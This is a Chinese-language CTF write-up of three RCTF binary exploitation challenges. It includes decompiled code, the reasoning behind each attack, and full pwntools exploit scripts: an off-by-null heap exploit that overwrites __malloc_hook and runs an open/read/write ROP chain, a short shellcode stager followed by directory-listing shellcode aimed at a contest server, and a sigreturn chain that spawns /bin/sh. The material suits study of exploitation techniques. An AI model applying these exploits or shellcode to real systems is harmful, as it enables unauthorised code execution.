RCTF-部分PWN解

周末看了下RCTF,做了几个题感觉还行,还是自己太菜了。

babyheap

这个题感觉可以作为heap 到 stack的一个例题其中的技巧不知道是碰运气还是出题人设计的。

分析

先来看静态分析的代码

main

没有去符号果然是很友好的babyheap,大概逆向一下其他函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 savedregs; // [rsp+10h] [rbp+0h]

init();
while ( 1 )
{
menu();
get_int();
switch ( (unsigned int)&savedregs )
{
case 1u:
add();
break;
case 2u:
edit();
break;
case 3u:
delete();
break;
case 4u:
show();
break;
case 5u:
puts("See you next time!");
exit(0);
return;
default:
puts("Invalid choice!");
break;
}
}
}

add

这里add的时候没有让我们编辑的操作只是能calloc任意大小的堆块,这里不能用正常的calloc的trick了要用到一些比较骚的技巧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned __int64 add()
{
void **v0; // rbx
__int64 v2; // [rsp+0h] [rbp-20h]
int v3; // [rsp+0h] [rbp-20h]
int v4; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-18h]

v5 = __readfsqword(0x28u);
LODWORD(v2) = 0;
while ( *(ptrs + 2 * v2) && v2 <= 15 )
LODWORD(v2) = v2 + 1;
if ( v2 == 16 )
{
puts("You can't");
exit(-1);
}
printf("Size: ", v2);
v4 = get_int();
if ( v4 <= 0 || v4 > 0x1000 )
{
puts("Invalid size :(");
}
else
{
*(ptrs + 4 * v3 + 2) = v4;
v0 = (ptrs + 16 * v3);
*v0 = calloc(v4, 1uLL);
puts("Add success :)");
}
return __readfsqword(0x28u) ^ v5;
}

edit

*(*(ptrs + 2 * v0) + v1) = 0;这个地方存在一个offbynull的漏洞,大概思路就确定肯定是overlap然后进一步控制malloc_hook。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 edit()
{
int v0; // ST00_4
int v1; // ST04_4
__int64 v3; // [rsp+0h] [rbp-10h]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("Index: ");
LODWORD(v3) = get_int();
if ( v3 >= 0 && v3 <= 15 && *(ptrs + 2 * v3) )
{
printf("Content: ", v3);
v1 = read_n(*(ptrs + 2 * v0), *(ptrs + 4 * v0 + 2));
*(*(ptrs + 2 * v0) + v1) = 0;
puts("Edit success :)");
}
else
{
puts("Invalid index :(");
}
return __readfsqword(0x28u) ^ v4;

delete

这个地方没有什么漏洞,写的很好的。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
v1 = get_int();
if ( v1 >= 0 && v1 <= 15 && *(ptrs + 2 * v1) )
{
free(*(ptrs + 2 * v1));
*(ptrs + 2 * v1) = 0LL;
*(ptrs + 4 * v1 + 2) = 0;
puts("Delete success :)");
}
else
{
puts("Invalid index :(");
}
return __readfsqword(0x28u) ^ v2;

show

这个地方一个比较坑的地方就是采用的puts输入。。所以如果是overlap一个unsortedbin,然后free他再打印的时候会因为是0截断没有办法打印所以这里就要用trick了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
unsigned __int64 show()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("Index: ");
v1 = get_int();
if ( v1 >= 0 && v1 <= 15 && *(ptrs + 2 * v1) )
puts(*(ptrs + 2 * v1));
else
puts("Invalid index :(");
return __readfsqword(0x28u) ^ v2;
}

思路分析

  1. 先构造overlap吧,只有overlap了才能说后面的操作,这里我overlap了两个heap一个unsortedbin一个fastbin为后续操作做准备。
  2. 接着准备leak,leak的思路是让calloc的清空操作失效,这里通过改chunk的size位可以绕过,具体原因还不详(问的一个大佬@ch4rl3)
  3. 因为ban了fork(),execve()所以没有办法getshell了,只能曲线救国,在malloc_hook写入能返回stack的gadgets然后进一步控制栈去执行rop->open->read->write

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
from pwn import *
context.log_level = "debug"

p = process("./babyheap")
elf = ELF("./babyheap")
libc = elf.libc
gdb.attach(p)
cmd = lambda c:p.sendlineafter("Choice: \n" ,str(c))
def add(size):
cmd(1)
p.sendlineafter("Size: " , str(size))

def edit(index , content):
cmd(2)
p.sendlineafter("Index: " , str(index))
p.sendafter("Content: " , content)

def delete(index):
cmd(3)
p.sendlineafter("Index: " , str(index))

def show(index):
cmd(4)
p.sendlineafter("Index: " , str(index))

add(0x18) # 0 # 0x00
add(0x320) # 1 # 0x20
add(0x18) # 2 # 0x340
add(0x18) # 3 # 0x360

edit(1 , "a" * 0x2f0 + p64(0x300))
delete(1)
edit(0 , "a" * 0x18)

add(0x18) # 1
add(0x80) # unsorted bin leak # 4
add(0x18) # 5
add(0x60) # fastbin attack # 6

delete(1)
delete(2)
add(0x348) # shrin result calloc # 1
# memset
payload = "a" * 0x18
payload += p64(0x91) + "a" * 0x80
payload += p64(0x90) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x71) + "a" * 0x60
payload += p64(0x60) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x21) + "a" * 0x10

print(hex(len(payload)))
edit(1 , payload)
delete(6)

payload = "a" * 0x18
payload += p64(0x91) + "a" * 0x80
payload += p64(0x90) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x72)[:7]
edit(1 , payload)
add(0x60)
show(2)
libc.address = u64(p.recvuntil("\x7f").ljust(8 , "\x00")) - 0x58 - 0x3c4b20
print(hex(libc.address))
malloc_hook = libc.sym["__malloc_hook"] - 0x23
print hex(malloc_hook)
payload = "a" * 0x18
payload += p64(0x91) + "a" * 0x80
payload += p64(0x90) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x71) + "a" * 0x60
payload += p64(0x60) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x21) + "a" * 0x10
edit(1,payload)
delete(2)
#------------------
fast_max = libc.address + 3958776
payload = "a" * 0x18
payload += p64(0x91) + "a" * 0x80
payload += p64(0x90) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x71)
payload += p64(libc.address+0x58+0x3c4b20)+p64(fast_max-0x10)+"a"*0x50
payload += p64(0x60) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x21) + "a" * 0x10

edit(1,payload)
add(0x60)
payload = "a" * 0x18
payload += p64(0x91) + "a" * 0x80
payload += p64(0x90) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x71) + "a" * 0x60
payload += p64(0x60) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x21) + "a" * 0x10
edit(1,payload)
delete(2)
payload = "a" * 0x18
payload += p64(0x91) + "a" * 0x80
payload += p64(0x90) + p64(0x21) + "a" * 0x10
payload += p64(0x20) + p64(0x71)
payload += p64(malloc_hook)
edit(1,payload)
add(0x60) #2
add(0x60)
edit(6,'flag'.ljust(19,'\0')+p64(libc.address+0xAA383))
leng=0x20
add(leng)
libca=libc.address
reada=p64(0xF7250+libca)
writea=p64(0xF72B0+libca)
edit(7,p64(0x200)+p64(libca+0x1b92)+p64(0x200)+reada)
opena=p64(libca+0xF7030)
exita=p64(libca+0x3A030)
p_rdi_r=p64(libca+0x21102)
p_rsi_r=p64(libca+0x1150CA)
p_rdx_r=p64(libca+0x1b92)
m_rdi_rax_r=p64(libca+0x8F42B)
payload='8'*0x20+p_rdi_r+p64(malloc_hook+0x10)+p_rdi_r+p64(malloc_hook+0x10)+p_rsi_r+p64(0)+opena+p_rdi_r+p64(3)+p_rsi_r+p64(malloc_hook)+p_rdx_r+p64(0x20)+reada+p_rdi_r+p64(1)+writea+exita
pause()
p.send(payload)
p.interactive()

shellcoder

题目考点类似于护网以及某次铁人三项的题目,太真实的考的真的是各种shellcode的编写。

分析

这里就拿汇编来分析了因为反编译出来基本看不出什么东西

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
sub_340:
.text:0000000000000340 push rbx
.text:0000000000000341 mov edi, 3Ch ; '<'
.text:0000000000000346 call sub_3C0
.text:000000000000034B lea rsi, aHelloShellcode ; "hello shellcoder:"
.text:0000000000000352 mov edx, 11h
.text:0000000000000357 mov edi, 1
.text:000000000000035C call sub_400
.text:0000000000000361 xor r9d, r9d
.text:0000000000000364 mov r8d, 0FFFFFFFFh
.text:000000000000036A mov ecx, 22h ; '"'
.text:000000000000036F mov edx, 7
.text:0000000000000374 mov esi, 1000h
.text:0000000000000379 xor edi, edi
.text:000000000000037B call sub_420
.text:0000000000000380 mov rbx, rax
.text:0000000000000383 mov rax, 0F4F4F4F4F4F4F4F4h
.text:000000000000038D mov edx, 7
.text:0000000000000392 mov rsi, rbx
.text:0000000000000395 mov [rbx], rax
.text:0000000000000398 mov [rbx+8], rax
.text:000000000000039C mov [rbx+10h], rax
.text:00000000000003A0 mov [rbx+18h], rax
.text:00000000000003A4 xor edi, edi
.text:00000000000003A6 call sub_3E0
.text:00000000000003AB mov rdi, rbx
.text:00000000000003AE call sub_48B
.text:00000000000003B3 xor eax, eax
.text:00000000000003B5 pop rbx
.text:00000000000003B6 retn

syscall

这里有一个syscall的函数基本所有的命令都是从这里来的。

1
2
3
4
5
6
7
8
9
10
sub_465:
.text:0000000000000465 mov rax, rdi
.text:0000000000000468 mov rdi, rsi
.text:000000000000046B mov rsi, rdx
.text:000000000000046E mov rdx, rcx
.text:0000000000000471 mov r10, r8
.text:0000000000000474 mov r8, r9
.text:0000000000000477 mov r9, [rsp+arg_0]
.text:000000000000047C syscall ; LINUX -
.text:000000000000047E retn

主要函数

这里就不截取其他的汇编了主要list出主要的函数,跳转到rdi然后执行rdi的shellcode,这里题目限制了我们只能输入7个字节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
.text:000000000000048B sub_48B         proc near               ; CODE XREF: sub_340+6E↑p
.text:000000000000048B mov rax, 0ABADC0DEFEE1DEADh
.text:0000000000000495 push rax
.text:0000000000000496 push rax
.text:0000000000000497 push rax
.text:0000000000000498 push rax
.text:0000000000000499 push rax
.text:000000000000049A push rax
.text:000000000000049B push rax
.text:000000000000049C push rax
.text:000000000000049D xor rax, rax
.text:00000000000004A0 xor rbx, rbx
.text:00000000000004A3 xor rcx, rcx
.text:00000000000004A6 xor rdx, rdx
.text:00000000000004A9 xor rsi, rsi
.text:00000000000004AC xor r8, r8
.text:00000000000004AF xor r9, r9
.text:00000000000004B2 xor r10, r10
.text:00000000000004B5 xor r11, r11
.text:00000000000004B8 xor r12, r12
.text:00000000000004BB xor r13, r13
.text:00000000000004BE xor r14, r14
.text:00000000000004C1 xor r15, r15
.text:00000000000004C4 xor rbp, rbp
.text:00000000000004C7 jmp rdi
.text:00000000000004C7 sub_48B endp

思路分析

  1. 首先第一步要分析清楚题目是要我们干什么,因为是7个字节基本不可能直接getshell,那么考虑怎么曲线救国,参考前面提到的两个题就写read函数让其继续执行。
  2. read函数参数rdi = 0, rsi = address ,rdx=size,这里最让人头疼的事rdi的参数是栈地址。。。最后想到可以利用xhcg让rdi 和rsi置换了成功执行了read。
  3. 这一波就到了关键,可以发现远程get不到shell,只能执行一些ls,cat等操作来进行了。
    指令汇编这里是队里师傅弄的执行了一个递归查找目录然后利用cat汇编拿到了flag。

exp

扩大shellcode的

1
2
3
4
5
payload = asm("""
xchg rdi,rsi
mov edx,esi
syscall
""")

找flag的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import*
context.arch = "amd64"
#context.log_level = "debug"


def ls():
return asm("""

push 0x2e
mov al, 2
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall

mov rdi,rax
xor rdx,rdx
xor rax,rax
mov dx, 0x3210
sub rsp, rdx
mov rsi, rsp
mov al, 78
syscall

xchg rax,rdx

xor rax, rax
xor rdi,rdi

inc eax
inc edi
mov rsi, rsp
syscall


xor rax, rax
mov al, 60
syscall
""")
def show(s):
x = 0
for i in range(len(s)):
x = x*16*16+ord(s[len(s)-1-i])
return x
def cd(s):
st = "mov rax, "+hex(show(s))
return asm(st)+asm("""
push rax
xor rax,rax
mov rdi, rsp
mov al, 80
syscall
""")

dic = 'qwertyuiopasdfghjklzxcvbnm0987654321'
def Get(s):
for i in range(len(s)):
if (s[i] not in dic): return False
return True

def find(lt):
#p=process('./shellcoder')
p = remote('139.180.215.222',20002)
p.readuntil('hello shellcoder:')

payload = asm("""
xchg rdi,rsi
mov edx,esi
syscall
""")

#gdb.attach(p)
p.send(payload)

payload = '\x90'*8 + cd('/flag')
for i in range(len(lt)):
payload += cd(lt[i])

payload += ls()

p.sendline(payload)

tot = p.recv()
ans = []
for i in range(len(tot)-5):
s = tot[i:i+4]
if (not Get(s)): continue
if (s[0] == '.' and s[1] == '.'): continue
if (s == 'flag'):
print('***************\n')
print(lt)
print('***************\n')
pause()
if (s[0] == '.'): break
ans.append(s)
p.close()
return ans

def dg(lt): #递归
tmp = find(lt)
print lt
if (len(tmp) == 0): return
for i in range(len(tmp)):
lt.append(tmp[i])
dg(lt)
lt.pop()

ans = []
dg(ans)

syscall_interface

题目大概是提供几个syscall的机会但是限制了一些函数的执行,然后可以输入一次字符串没有溢出啥的漏洞。

分析

main

实现了几个功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
__int64 v4; // [rsp+10h] [rbp-90h]
char v5; // [rsp+18h] [rbp-88h]
unsigned __int64 v6; // [rsp+98h] [rbp-8h]

v6 = __readfsqword(0x28u);
init_n();
menu();
v4 = 'ydobon';
memset(&v5, 0, 0x78uLL);
while ( 1 )
{
while ( 1 )
{
write(1, "choice:", 7uLL);
v3 = sub_CF6();
if ( v3 == 1 )
break;
if ( v3 == 2 )
{
write(1, "bye!\n", 5uLL);
exit(0);
}
if ( v3 )
write(1, "Invalid choice!\n", 0x10uLL);
else
sub_DBA((__int64)&v4);
}
if ( (unsigned int)++dword_202050 > 1 )
{
puts("Too many times");
exit(1);
}
write(1, "username:", 9uLL);
read_n(&v4, 0x7Fu);
}
}

syscall

限制了参数,限制了次数,限制了几个系统调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
unsigned __int64 __fastcall sub_DBA(__int64 a1)
{
__int64 v1; // ST38_8
__int64 v2; // ST40_8
unsigned __int8 v4; // [rsp+33h] [rbp-19h]
unsigned __int64 v5; // [rsp+44h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( (unsigned int)++dword_20204C > 4 )
{
puts("Too many times");
exit(1);
}
write(1, "syscall number:", 0xFuLL);
v4 = sub_CF6();
if ( v4 > 0x37u && v4 <= 0x3Bu )
v4 = 0x3C;
write(1, "argument:", 9uLL);
v1 = sub_D50();
v2 = syscall(
v4,
v1,
0xDEADBEEFFFEE1BADLL,
0xDEADBEEFFFEE1BADLL,
0xDEADBEEFFFEE1BADLL,
0xDEADBEEFFFEE1BADLL,
0xDEADBEEFFFEE1BADLL,
0xDEADBEEFFFEE1BADLL,
0xDEADBEEFFFEE1BADLL,
0xDEADBEEFFFEE1BADLL);
printf("SYSCALL(0x%x, 0x%lx, ...): RET(0x%lx) by @%s\n", v4, v1, v2, a1);
return __readfsqword(0x28u) ^ v5;

思路

  1. 很简单。。暴力测试哪个能leak,测试出来brk可以进行leak,然后利用signal函数可以进行leak
  2. 坑点在于只能leak出chunk地址,这里想的是爆破出codebase然后就利用rop来getshell
  3. 比赛结束都没试出来吧(可能我们队pwn师傅皮肤都比较黑嘛。。赛后交流发现几个队也是这思路就出了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
import time
debug=0

#context.log_level='debug'

if debug:
p=process('./syscall_interface')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
gdb.attach(p)
else:
p=remote('106.52.252.82',20004)

def ru(x):
return p.recvuntil(x)

def se(x):
p.send(x)

def sl(x):
p.sendline(x)

def sc(num,argument):
sl('0')
ru('syscall number:')
sl(str(num))
ru('argument:')
sl(str(argument))
ru('RET(')
data = int(ru(')')[:-1],16)
ru('choice:')
return data

heap = sc(12,0x100)
pbase = heap - 0x203000

sl('1')
ru('username:')

tmp = heap+0x1000

context.arch = 'amd64'
frame = SigreturnFrame()
frame.rbp = tmp+0x88
frame.rsp = tmp
frame.rip = pbase+0x1000


se(str(frame)[120:][:0x7f])
ru('choice:')

sl('0')
ru('syscall number:')
sl('15')
ru('argument:')
se('0\0'.ljust(0x1f,'c'))

payload = flat(pbase+0x10BA,0,0,tmp+0x50,0,tmp+0x58,0x3b,pbase+0x10A0).ljust(0x58,'a')
payload += p64(pbase+0x980)+'/bin/sh\0'

se(payload)


start = time.time()
p.can_recv_raw(timeout=3)
end = time.time()
if end-start>2:
sl('cat flag')
else:
exit(0)

p.interactive()

这个题本身的解法应该不是这样的,所以也怪我太菜了。。队里师傅做了一题many_notes因为不是很理解这里就不做解析了。。

总结

比赛总的来说考察的点还是我的弱项,shellcode等方面。。通过比赛倒是学到了很多syscall之类的东西。感谢ROIS的师傅们的比赛。